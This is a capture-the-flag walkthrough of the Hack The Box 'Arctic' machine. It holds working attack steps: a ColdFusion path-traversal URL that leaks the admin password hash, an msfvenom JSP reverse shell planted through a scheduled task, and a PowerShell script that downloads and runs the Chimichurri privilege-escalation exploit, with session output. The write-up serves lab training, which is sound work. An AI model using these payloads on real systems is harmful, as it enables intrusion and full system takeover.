

# Arctic

nmap

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-22 21:34 BST
Nmap scan report for 10.10.10.11
Host is up (0.097s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE
135/tcp    open  msrpc
8500/tcp   open  fntp
49154/tcp  open  unknown
```

First things first, checking out the msrpc port(135 and 49154) isn't usefull at all, the only one remaining is the 8500.

Google tells us that fntp could be a File Multicast Transpor Protocol or a Flight Message Transfer Protocol, anyway looking on internet for some vuln on that port

don't give back any intresting result so as usual kiss my friend, kiss.

Keep

It

Simple

Stupid

Try to put in the url bar the ip and the port and we have something now

## Index of /

---

<a href="#">CFIDE/</a>	dir	03/22/17 08:52	µµ
<a href="#">cfdocs/</a>	dir	03/22/17 08:55	µµ

---

Doing a bit of enumeration we can find an admin panel which require a login and run ColdFusion.

Google give us an FLI vuln at this cve <<https://www.exploit-db.com/exploits/14641>> and visiting this link <<http://10.10.10.11:8500/CFIDE/-administrator/enter.cfm?locale=../../../../../../../../ColdFusion8/lib/>>

[password.properties%00en>](#)

this will be our output



As you can see there's a password and it's encrypted, nothing that CrackStation can't handle in a second

### Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

Non sono un robot

reCAPTCHA

Privacy - Termini

Crack Hashes

**Supports:** LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1\_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03	sha1	happyday

**Color Codes:** Green Exact match, Yellow Partial match, Red Not found.

Now go back to the login panel and see what's happen

We have access to a list of different prompt but there's a simil cronjob tab called scheduled tasksand doing some research we're able to

discover  
how to run a funny revers shell

starting a listener

creating a jsp file with msfvenom

```
msfvenom -p java/jsp_shell_reverse_tcp
```

```
LHOST=10.10.14.22 LPORT=42069 -f raw -o lol.jsp
```

start up a server with python3

setting up this as cronjob(with your ip, datetime and file name for the url) the path file is <C:\coldfusion8\wwwroot\CFIDE\rev.jsp> as follow

#### Debugging & Logging > Add/Edit Scheduled Task

Add/Edit Scheduled Task	
Task Name	<input type="text" value="revshell"/>
Duration	Start Date <input type="text" value="24 Okt 2020"/> End Date (optional) <input type="text"/>
Frequency	<input checked="" type="radio"/> One-Time at <input type="text" value="8:54 πμ"/>
	<input type="radio"/> Recurring <input type="text" value="Daily"/> at <input type="text"/>
	<input type="radio"/> Daily every Hours <input type="text" value="0"/> Minutes <input type="text" value="0"/> Seconds <input type="text" value="0"/> Start Time <input type="text"/> End Time <input type="text"/>
URL	<input type="text" value="http://10.10.14.22/lol.jsp"/>
User Name	<input type="text"/>
Password	<input type="text"/>
Timeout (sec)	<input type="text"/>
Proxy Server	<input type="text"/> : Port <input type="text"/>
Publish	<input checked="" type="checkbox"/> Save output to a file
File	<input type="text" value="C:\coldfusion8\wwwroot\CFIDE\r"/>
Resolve URL	<input type="checkbox"/> Resolve internal URLs so that links remain intact
<input type="button" value="Submit"/> <input type="button" value="Cancel"/>	

trigger the web page <<http://10.10.10.11:8500/CFIDE/rev.jsp>> and here we go, run <python3 -c 'import pty; pty.spawn("/bin/bash");'>

```

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.22:42069
[*] Command shell session 1 opened (10.10.14.22:42069 -> 10.10.10.11:49261) at 2020-10-22 23:54:02 +0100

shell
[*] Trying to find binary(python) on target machine
[-]
[*] Trying to find binary(python3) on target machine
[-]
[*] Trying to find binary(script) on target machine
[-]
[*] Trying to find binary(socat) on target machine
[-]
[-] Can not pop up an interactive shell
ls
ls
C:\ColdFusion8\runtime\bin>

```

type C:\Users\tolis\Desktop\user.txt

using the command sysinfo we can see that is a r2 windows machine and looking online for some exploit we can find that is vulnerable at Chimichurri exploit

cloning the gitdirectory <<https://github.com/Re4son/Chimichurri.git>> for getting the exe, start a server on the exe directory and execute this command on the target machine inside the "c:\ColdFusion8" directory:

```

echo $webclient = New-Object System.Net.WebClient
>> wget.ps1
echo $url = "http://10.10.14.22/Chimichurri.exe" >>
wget.ps1
echo $file = "exploit.exe" >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -
NonInteractive -NoProfile -File wget.ps1

```

```

C:\ColdFusion8>echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1

C:\ColdFusion8>echo $url = "http://10.10.14.22/Chimichurri.exe" >> wget.ps1
echo $url = "http://10.10.14.22/Chimichurri.exe" >> wget.ps1

C:\ColdFusion8>echo $file = "exploit.exe" >> wget.ps1
echo $file = "exploit.exe" >> wget.ps1

C:\ColdFusion8>echo $webclient.DownloadFile($url,$file) >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1

C:\ColdFusion8>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

C:\ColdFusion8>
C:\ColdFusion8>

C:\ColdFusion8>exploit.exe
exploit.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\ColdFusion8>exploit.exe
exploit.exe

C:\ColdFusion8>exploit.exe
exploit.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\ColdFusion8>exploit.exe
exploit.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\ColdFusion8>exploit.exe
exploit.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
C:\ColdFusion8>exploit.exe 10.10.14.22 443
exploit.exe 10.10.14.22 443

```

start a new listener on a new port in this case 443 and run this comand on the victim machine

exploit.exe <your ip> <your new port>

and on your listener you'll have the new revshell with the admin rights

```

connect to [10.10.14.22] from (UNKNOWN) [10.10.10.11] 49549
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ColdFusion8>whoami
whoami
nt authority\system

```

type C:\Users\Administrator\Desktop\root.txt will print out the root flag!

<https://thehousthonhacker.com/2019/01/12/hack-the-box-arctic-walk-through/>